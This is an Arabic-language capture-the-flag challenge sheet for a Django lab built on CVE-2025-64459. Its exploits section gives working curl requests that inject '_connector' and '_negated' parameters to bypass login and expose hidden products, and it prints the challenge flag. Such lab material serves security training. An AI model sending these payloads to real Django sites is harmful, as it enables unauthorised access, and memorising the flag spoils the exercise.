تحدي CTF: حقن Django ORM (CVE-2025-64459)

التصنيف: أمان الويب
الصعوبة: متوسطة
الثغرة: CVE-2025-64459 - حقن فلتر Django ORM

📝 الوصف

لقد بنينا متجر بضائع آمن مع لوحة تحكم للمشرف. هل يمكنك تجاوز المصادقة والعثور على الملاحظة الإدارية الخاصة؟

الرابط: http://YOUR_SERVER:6008

🚀 النشر

cd web_django_cve
docker-compose up --build -d

🎯 الاستغلالات (CVE-2025-64459)

تجاوز المصادقة (/login/)

# Using _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Using _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

تجاوز فلتر المنتج (/)

# Negate is_public filter
curl "http://HOST:8054/?_negated=True"

# Direct access
curl "http://HOST:8054/?is_public=False"

🏁 العلم

lol-you-here_then-you_exploited_me